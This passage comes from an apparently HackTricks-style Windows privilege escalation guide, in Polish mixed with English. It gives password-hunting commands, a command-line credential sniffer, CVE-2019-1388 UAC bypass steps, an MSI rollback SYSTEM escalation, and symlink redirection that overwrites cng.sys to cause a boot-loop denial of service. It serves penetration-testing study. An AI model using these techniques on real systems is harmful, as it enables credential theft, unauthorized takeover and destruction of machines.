findstr /si password *.xml *.ini *.txt *.config
findstr /spin "password" *.*

Szukaj pliku o określonej nazwie

dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
where /R C:\ user.txt
where /R C:\ *.ini

Przeszukaj rejestr w poszukiwaniu nazw kluczy i haseł

REG QUERY HKLM /F "password" /t REG_SZ /S /K
REG QUERY HKCU /F "password" /t REG_SZ /S /K
REG QUERY HKLM /F "password" /t REG_SZ /S /d
REG QUERY HKCU /F "password" /t REG_SZ /S /d

Narzędzia do wyszukiwania haseł

MSF-Credentials Plugin is a msf plugin I have created this plugin to automatically execute every metasploit POST module that searches for credentials inside the victim.
Winpeas automatycznie wyszukuje wszystkie pliki zawierające hasła wymienione na tej stronie.
Lazagne to kolejne świetne narzędzie do wyodrębniania haseł z systemu.

Narzędzie SessionGopher wyszukuje sessions, usernames oraz passwords kilku narzędzi, które zapisują te dane jawnym tekstem (PuTTY, WinSCP, FileZilla, SuperPuTTY i RDP)

Import-Module path\to\SessionGopher.ps1;
Invoke-SessionGopher -Thorough
Invoke-SessionGopher -AllDomain -o
Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss

Leaked Handlers

Wyobraź sobie, że proces działający jako SYSTEM otwiera nowy proces (OpenProcess()) z pełnym dostępem. Ten sam proces także tworzy nowy proces (CreateProcess()) z niskimi uprawnieniami, ale dziedziczący wszystkie otwarte uchwyty głównego procesu.
Następnie, jeśli masz pełny dostęp do procesu o niskich uprawnieniach, możesz przejąć otwarty uchwyt do uprzywilejowanego procesu utworzonego przez OpenProcess() i wstrzyknąć shellcode.
Przeczytaj ten przykład, aby uzyskać więcej informacji o tym, jak wykryć i wykorzystać tę podatność.
Przeczytaj ten inny post, aby uzyskać pełniejsze wyjaśnienie, jak testować i nadużywać więcej otwartych handlers procesów i wątków dziedziczonych z różnymi poziomami uprawnień (nie tylko full access).

Named Pipe Client Impersonation

Współdzielone segmenty pamięci, nazywane pipes, umożliwiają komunikację procesów i transfer danych.

Windows udostępnia funkcję o nazwie Named Pipes, pozwalającą niespowiązanym procesom współdzielić dane, nawet w różnych sieciach. Przypomina to architekturę klient/serwer, z rolami zdefiniowanymi jako named pipe server i named pipe client.

Gdy dane są wysyłane przez client do pipe, server, który skonfigurował pipe, ma możliwość przejęcia tożsamości client, jeśli posiada wymagane uprawnienia SeImpersonate. Zidentyfikowanie uprzywilejowanego procesu, który komunikuje się przez pipe, który możesz podszyć, daje możliwość uzyskania wyższych uprawnień poprzez przyjęcie tożsamości tego procesu, gdy wejdzie on w interakcję z pipe, który utworzyłeś. Instrukcje dotyczące wykonania takiego ataku można znaleźć here oraz here.

Dodatkowo poniższe narzędzie pozwala przechwycić komunikację named pipe za pomocą narzędzia takiego jak burp: https://github.com/gabriel-sztejnworcel/pipe-intercept a to narzędzie pozwala wyświetlić i zobaczyć wszystkie pipes, aby znaleźć privescs https://github.com/cyberark/PipeViewer

Telephony tapsrv remote DWORD write to RCE

Usługa Telephony (TapiSrv) w trybie serwera udostępnia \\pipe\\tapsrv (MS-TRP). Zdalny uwierzytelniony client może nadużyć ścieżki asynchronicznych zdarzeń opartej na mailslot, aby zamienić ClientAttach w arbitralny zapis 4 bajtów do dowolnego istniejącego pliku, do którego zapis może wykonywać NETWORK SERVICE, a następnie uzyskać prawa administratora Telephony i załadować arbitralny DLL jako service. Pełny przebieg:

  • ClientAttach z pszDomainUser ustawionym na istniejącą ścieżkę, do której można zapisywać → service otwiera ją przez CreateFileW(..., OPEN_EXISTING) i używa jej do asynchronicznych zapisów zdarzeń.
  • Każde zdarzenie zapisuje kontrolowany przez atakującego InitContext z Initialize do tego uchwytu. Zarejestruj app linii za pomocą LRegisterRequestRecipient (Req_Func 61), wyzwól TRequestMakeCall (Req_Func 121), pobierz przez GetAsyncEvents (Req_Func 0), a następnie wyrejestruj/zamknij, aby powtarzać deterministyczne zapisy.
  • Dodaj siebie do [TapiAdministrators] w C:\Windows\TAPI\tsec.ini, połącz się ponownie, a następnie wywołaj GetUIDllName z arbitralną ścieżką do DLL, aby wykonać TSPI_providerUIIdentify jako NETWORK SERVICE.

Więcej szczegółów:

Telephony Tapsrv Arbitrary Dword Write To Rce

Misc

File Extensions that could execute stuff in Windows

Sprawdź stronę https://filesec.io/

Protocol handler / ShellExecute abuse via Markdown renderers

Klikalne linki Markdown przekazywane do ShellExecuteExW mogą uruchamiać niebezpieczne URI handlers (file:, ms-appinstaller: lub dowolny zarejestrowany scheme) i wykonywać pliki kontrolowane przez atakującego jako bieżący user. Zobacz:

Protocol Handler Shell Execute Abuse

Monitoring Command Lines for passwords

Podczas uzyskiwania shella jako user, mogą istnieć zaplanowane tasks lub inne procesy uruchamiane, które przekazują credentials w command line. Poniższy skrypt przechwytuje command line procesów co dwie sekundy i porównuje bieżący stan z poprzednim, wypisując wszelkie różnice.

while($true)
{
$process = Get-WmiObject Win32_Process | Select-Object CommandLine
Start-Sleep 1
$process2 = Get-WmiObject Win32_Process | Select-Object CommandLine
Compare-Object -ReferenceObject $process -DifferenceObject $process2
}

Kradzież haseł z procesów

Z Low Priv User do NT\AUTHORITY SYSTEM (CVE-2019-1388) / UAC Bypass

Jeśli masz dostęp do interfejsu graficznego (przez konsolę lub RDP) i UAC jest włączone, w niektórych wersjach Microsoft Windows możliwe jest uruchomienie terminala lub dowolnego innego procesu jako “NT\AUTHORITY SYSTEM” z poziomu nieuprzywilejowanego użytkownika.

To umożliwia podniesienie uprawnień i obejście UAC jednocześnie przy użyciu tej samej podatności. Dodatkowo nie ma potrzeby niczego instalować, a binaria używane w trakcie procesu są podpisane i wydane przez Microsoft.

Niektóre z dotkniętych systemów to:

SERVER
======

Windows 2008r2	7601	** link OPENED AS SYSTEM **
Windows 2012r2	9600	** link OPENED AS SYSTEM **
Windows 2016	14393	** link OPENED AS SYSTEM **
Windows 2019	17763	link NOT opened


WORKSTATION
===========

Windows 7 SP1	7601	** link OPENED AS SYSTEM **
Windows 8		9200	** link OPENED AS SYSTEM **
Windows 8.1		9600	** link OPENED AS SYSTEM **
Windows 10 1511	10240	** link OPENED AS SYSTEM **
Windows 10 1607	14393	** link OPENED AS SYSTEM **
Windows 10 1703	15063	link NOT opened
Windows 10 1709	16299	link NOT opened

Aby wykorzystać tę podatność, konieczne jest wykonanie następujących kroków:

1) Right click on the HHUPD.EXE file and run it as Administrator.

2) When the UAC prompt appears, select "Show more details".

3) Click "Show publisher certificate information".

4) If the system is vulnerable, when clicking on the "Issued by" URL link, the default web browser may appear.

5) Wait for the site to load completely and select "Save as" to bring up an explorer.exe window.

6) In the address path of the explorer window, enter cmd.exe, powershell.exe or any other interactive process.

7) You now will have an "NT\AUTHORITY SYSTEM" command prompt.

8) Remember to cancel setup and the UAC prompt to return to your desktop.

You have all the necessary files and information in the following GitHub repository:

https://github.com/jas502n/CVE-2019-1388

From Administrator Medium to High Integrity Level / UAC Bypass

Read this to learn about Integrity Levels:

Integrity Levels

Then read this to learn about UAC and UAC bypasses:

UAC - User Account Control

From Arbitrary Folder Delete/Move/Rename to SYSTEM EoP

The technique described in this blog post with a exploit code available here.

The attack basically consist of abusing the Windows Installer’s rollback feature to replace legitimate files with malicious ones during the uninstallation process. For this the attacker needs to create a malicious MSI installer that will be used to hijack the C:\Config.Msi folder, which will later be used by he Windows Installer to store rollback files during the uninstallation of other MSI packages where the rollback files would have been modified to contain the malicious payload.

The summarized technique is the following:

  1. Stage 1 – Preparing for the Hijack (leave C:\Config.Msi empty)
  • Step 1: Install the MSI

  • Create an .msi that installs a harmless file (e.g., dummy.txt) in a writable folder (TARGETDIR).

  • Mark the installer as “UAC Compliant”, so a non-admin user can run it.

  • Keep a handle open to the file after install.

  • Step 2: Begin Uninstall

  • Uninstall the same .msi.

  • The uninstall process starts moving files to C:\Config.Msi and renaming them to .rbf files (rollback backups).

  • Poll the open file handle using GetFinalPathNameByHandle to detect when the file becomes C:\Config.Msi\<random>.rbf.

  • Step 3: Custom Syncing

  • The .msi includes a custom uninstall action (SyncOnRbfWritten) that:

  • Signals when .rbf has been written.

  • Then waits on another event before continuing the uninstall.

  • Step 4: Block Deletion of .rbf

  • When signaled, open the .rbf file without FILE_SHARE_DELETE — this prevents it from being deleted.

  • Then signal back so the uninstall can finish.

  • Windows Installer fails to delete the .rbf, and because it can’t delete all contents, C:\Config.Msi is not removed.

  • Step 5: Manually Delete .rbf

  • You (attacker) delete the .rbf file manually.

  • Now C:\Config.Msi is empty, ready to be hijacked.

At this point, trigger the SYSTEM-level arbitrary folder delete vulnerability to delete C:\Config.Msi.

  1. Stage 2 – Replacing Rollback Scripts with Malicious Ones
  • Step 6: Recreate C:\Config.Msi with Weak ACLs

  • Recreate the C:\Config.Msi folder yourself.

  • Set weak DACLs (e.g., Everyone:F), and keep a handle open with WRITE_DAC.

  • Step 7: Run Another Install

  • Install the .msi again, with:

  • TARGETDIR: Writable location.

  • ERROROUT: A variable that triggers a forced failure.

  • This install will be used to trigger rollback again, which reads .rbs and .rbf.

  • Step 8: Monitor for .rbs

  • Use ReadDirectoryChangesW to monitor C:\Config.Msi until a new .rbs appears.

  • Capture its filename.

  • Step 9: Sync Before Rollback

  • The .msi contains a custom install action (SyncBeforeRollback) that:

  • Signals an event when the .rbs is created.

  • Then waits before continuing.

  • Step 10: Reapply Weak ACL

  • After receiving the .rbs created event:

  • The Windows Installer reapplies strong ACLs to C:\Config.Msi.

  • But since you still have a handle with WRITE_DAC, you can reapply weak ACLs again.

ACLs are only enforced on handle open, so you can still write to the folder.

  • Step 11: Drop Fake .rbs and .rbf

  • Overwrite the .rbs file with a fake rollback script that tells Windows to:

  • Restore your .rbf file (malicious DLL) into a privileged location (e.g., C:\Program Files\Common Files\microsoft shared\ink\HID.DLL).

  • Drop your fake .rbf containing a malicious SYSTEM-level payload DLL.

  • Step 12: Trigger the Rollback

  • Signal the sync event so the installer resumes.

  • A type 19 custom action (ErrorOut) is configured to intentionally fail the install at a known point.

  • This causes rollback to begin.

  • Step 13: SYSTEM Installs Your DLL

  • Windows Installer:

  • Reads your malicious .rbs.

  • Copies your .rbf DLL into the target location.

  • You now have your malicious DLL in a SYSTEM-loaded path.

  • Final Step: Execute SYSTEM Code

  • Run a trusted auto-elevated binary (e.g., osk.exe) that loads the DLL you hijacked.

  • Boom: Your code is executed as SYSTEM.

From Arbitrary File Delete/Move/Rename to SYSTEM EoP

The main MSI rollback technique (the previous one) assumes you can delete an entire folder (e.g., C:\Config.Msi). But what if your vulnerability only allows arbitrary file deletion ?

You could exploit NTFS internals: every folder has a hidden alternate data stream called:

C:\SomeFolder::$INDEX_ALLOCATION

Ten strumień przechowuje index metadata folderu.

Więc jeśli usuniesz strumień ::$INDEX_ALLOCATION folderu, NTFS usuwa cały folder z filesystem.

Możesz to zrobić, używając standardowych API do usuwania plików, takich jak:

DeleteFileW(L"C:\\Config.Msi::$INDEX_ALLOCATION");

Nawet jeśli wywołujesz API usuwania pliku, ono usuwa sam folder.

Od usuwania zawartości folderu do SYSTEM EoP

Co jeśli twój primitive nie pozwala usuwać dowolnych plików/folderów, ale pozwala usuwać zawartość folderu kontrolowanego przez atakującego?

  1. Krok 1: Skonfiguruj folder i plik przynętę
  • Utwórz: C:\temp\folder1
  • Wewnątrz: C:\temp\folder1\file1.txt
  1. Krok 2: Załóż oplock na file1.txt
  • Oplock wstrzymuje wykonanie, gdy uprzywilejowany proces próbuje usunąć file1.txt.
// pseudo-code
RequestOplock("C:\\temp\\folder1\\file1.txt");
WaitForDeleteToTriggerOplock();
  1. Krok 3: Wywołaj proces SYSTEM (np. SilentCleanup)
  • Ten proces skanuje foldery (np. %TEMP%) i próbuje usunąć ich zawartość.
  • Gdy dotrze do file1.txt, oplock zostaje wyzwolony i przekazuje kontrolę do twojego callbacka.
  1. Krok 4: Wewnątrz callbacka oplock – przekieruj usuwanie
  • Opcja A: Przenieś file1.txt gdzie indziej

  • To opróżnia folder1 bez zrywania oplock.

  • Nie usuwaj file1.txt bezpośrednio — to zwolniłoby oplock przedwcześnie.

  • Opcja B: Zamień folder1 w junction:

# folder1 is now a junction to \RPC Control (non-filesystem namespace)
mklink /J C:\temp\folder1 \\?\GLOBALROOT\RPC Control
  • Opcja C: Utwórz symlink w \RPC Control:
# Make file1.txt point to a sensitive folder stream
CreateSymlink("\\RPC Control\\file1.txt", "C:\\Config.Msi::$INDEX_ALLOCATION")

To atakuje wewnętrzny strumień NTFS, który przechowuje metadane folderu — usunięcie go usuwa folder.

  1. Step 5: Zwolnij oplock
  • Proces SYSTEM kontynuuje i próbuje usunąć file1.txt.
  • Ale teraz, dzięki junction + symlink, w rzeczywistości usuwa:
C:\Config.Msi::$INDEX_ALLOCATION

Wynik: C:\Config.Msi jest usuwany przez SYSTEM.

Od Arbitrary Folder Create do Permanent DoS

Wykorzystaj prymityw, który pozwala Ci utworzyć dowolny folder jako SYSTEM/admin — nawet jeśli nie możesz zapisywać plików ani ustawiać słabych uprawnień.

Utwórz folder (nie plik) o nazwie krytycznego sterownika Windows, np.:

C:\Windows\System32\cng.sys
  • Ta ścieżka zwykle odpowiada sterownikowi jądra cng.sys.
  • Jeśli utworzysz ją wcześniej jako folder, Windows nie zdoła załadować właściwego sterownika podczas rozruchu.
  • Następnie Windows próbuje załadować cng.sys podczas startu.
  • Widzi folder, nie potrafi odnaleźć właściwego sterownika i crashuje albo zatrzymuje boot.
  • Nie ma fallback, i brak recovery bez interwencji z zewnątrz (np. naprawa boot lub dostęp do dysku).

Gdy uprzywilejowana usługa zapisuje logi/eksporty do ścieżki odczytywanej z zapisywalnej konfiguracji, przekieruj tę ścieżkę za pomocą Object Manager symlinks + NTFS mount points tak, aby uprzywilejowany zapis zamienił się w arbitralny overwrite (nawet bez SeCreateSymbolicLinkPrivilege).

Wymagania

  • Konfiguracja przechowująca ścieżkę docelową jest zapisywalna przez atakującego (np. %ProgramData%\...\.ini).
  • Możliwość utworzenia mount point do \RPC Control oraz OM file symlink (James Forshaw symboliclink-testing-tools).
  • Uprzywilejowana operacja, która zapisuje do tej ścieżki (log, export, report).

Przykładowy łańcuch

  1. Odczytaj konfigurację, aby odzyskać uprzywilejowaną ścieżkę docelową logów, np. SMSLogFile=C:\users\iconics_user\AppData\Local\Temp\logs\log.txt w C:\ProgramData\ICONICS\IcoSetup64.ini.
  2. Przekieruj ścieżkę bez admina:
mkdir C:\users\iconics_user\AppData\Local\Temp\logs
CreateMountPoint C:\users\iconics_user\AppData\Local\Temp\logs \RPC Control
CreateSymlink "\\RPC Control\\log.txt" "\\??\\C:\\Windows\\System32\\cng.sys"
  1. Poczekaj, aż uprzywilejowany komponent zapisze log (np. administrator uruchamia „send test SMS”). Zapis teraz trafia do C:\Windows\System32\cng.sys.
  2. Sprawdź nadpisany cel (hex/PE parser), aby potwierdzić uszkodzenie; restart wymusza na Windows załadowanie podmienionej ścieżki sterownika → boot loop DoS. To uogólnia się także na dowolny chroniony plik, który uprzywilejowana usługa otworzy do zapisu.

cng.sys jest zwykle ładowany z C:\Windows\System32\drivers\cng.sys, ale jeśli kopia istnieje w C:\Windows\System32\cng.sys, może zostać sprawdzona najpierw, co czyni go niezawodnym celem DoS dla uszkodzonych danych.

From High Integrity to System

New service

Jeśli już działasz w procesie o High Integrity, ścieżka do SYSTEM może być łatwa — wystarczy utworzyć i uruchomić nową usługę:

sc create newservicename binPath= "C:\windows\system32\notepad.exe"
sc start newservicename

Tip

Podczas tworzenia binarki usługi upewnij się, że jest to poprawna usługa albo że binarka wykona wymagane działania wystarczająco szybko, ponieważ zostanie zabita po 20 s, jeśli nie będzie poprawną usługą.

AlwaysInstallElevated

Z procesu o High Integrity możesz spróbować włączyć wpisy rejestru AlwaysInstallElevated i zainstalować reverse shell przy użyciu wrappera .msi.
Więcej informacji o powiązanych kluczach rejestru i o tym, jak zainstalować pakiet .msi tutaj.

High + SeImpersonate privilege to System

Możesz znaleźć kod tutaj.

From SeDebug + SeImpersonate to Full Token privileges

Jeśli masz te token privileges (prawdopodobnie znajdziesz je w już High Integrity process), będziesz w stanie otworzyć prawie każdy proces (nieprotected processes) z przywilejem SeDebug, skopiować token procesu i utworzyć dowolny proces z tym tokenem.
Zazwyczaj ta technika polega na wybraniu dowolnego procesu działającego jako SYSTEM ze wszystkimi token privileges (tak, możesz znaleźć procesy SYSTEM bez wszystkich token privileges).
Możesz znaleźć przykład kodu wykonującego proponowaną technikę tutaj.

Named Pipes

Ta technika jest używana przez meterpreter do eskalacji w getsystem. Technika polega na utworzeniu pipe i następnie utworzeniu/nadużyciu usługi, aby zapisała do tego pipe. Następnie server, który utworzył pipe przy użyciu przywileju SeImpersonate, będzie mógł impersonate token klienta pipe (usługi), uzyskując uprawnienia SYSTEM.
Jeśli chcesz dowiedzieć się więcej o name pipes powinieneś przeczytać to.
Jeśli chcesz przeczytać przykład jak przejść z high integrity do System używając name pipes powinieneś przeczytać to.

Dll Hijacking

Jeśli uda ci się hijack dll ładowaną przez process działający jako SYSTEM, będziesz mógł wykonać dowolny kod z tymi uprawnieniami. Dlatego Dll Hijacking jest także przydatny w tego typu privilege escalation, a ponadto jest to znacznie łatwiejsze do osiągnięcia z procesu o high integrity, ponieważ będzie on miał write permissions do folderów używanych do ładowania dlls.
Możesz dowiedzieć się więcej o Dll hijacking tutaj.

From Administrator or Network Service to System

From LOCAL SERVICE or NETWORK SERVICE to full privs

Read: https://github.com/itm4n/FullPowers

More help

Static impacket binaries

Useful tools

Best tool to look for Windows local privilege escalation vectors: WinPEAS

PS

PrivescCheck
PowerSploit-Privesc(PowerUP) – Sprawdza błędne konfiguracje i wrażliwe pliki (sprawdź tutaj). Wykryte.
JAWS – Sprawdza niektóre możliwe błędne konfiguracje i zbiera informacje (sprawdź tutaj).
privesc – Sprawdza błędne konfiguracje
SessionGopher – Extracts informacje o zapisanych sesjach PuTTY, WinSCP, SuperPuTTY, FileZilla i RDP. Użyj -Thorough lokalnie.
Invoke-WCMDump – Extracts crendentials z Credential Manager. Detected.
DomainPasswordSpray – Spray gathered passwords across domain
Inveigh – Inveigh is a PowerShell ADIDNS/LLMNR/mDNS spoofer and man-in-the-middle tool.
WindowsEnum – Basic privesc Windows enumeration
Sherlock ~~~~ – Search for known privesc vulnerabilities (DEPRECATED for Watson)
WINspect – Local checks (Need Admin rights)

Exe

Watson – Search for known privesc vulnerabilities (needs to be compiled using VisualStudio) (precompiled)
SeatBelt – Enumerates the host searching for misconfigurations (more a gather info tool than privesc) (needs to be compiled) (precompiled)
LaZagne – Extracts credentials from lots of softwares (precompiled exe in github)
SharpUP – Port of PowerUp to C#
Beroot ~~~~ – Check for misconfiguration (executable precompiled in github). Not recommended. It does not work well in Win10.
Windows-Privesc-Check – Check for possible misconfigurations (exe from python). Not recommended. It does not work well in Win10.

Bat

winPEASbat – Tool created based in this post (it does not need accesschk to work properly but it can use it).

Local

Windows-Exploit-Suggester – Reads the output of systeminfo and recommends working exploits (local python)
Windows Exploit Suggester Next Generation – Reads the output of systeminfo andrecommends working exploits (local python)

Meterpreter

multi/recon/local_exploit_suggestor

You have to compile the project using the correct version of .NET (see this). To see the installed version of .NET on the victim host you can do:

C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line

References

Tip

Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Przeglądaj pełny katalog HackTricks Training dla ścieżek assessment (ARTA/GRTA/AzRTA) oraz Linux Hacking Expert (LHE).

Wsparcie HackTricks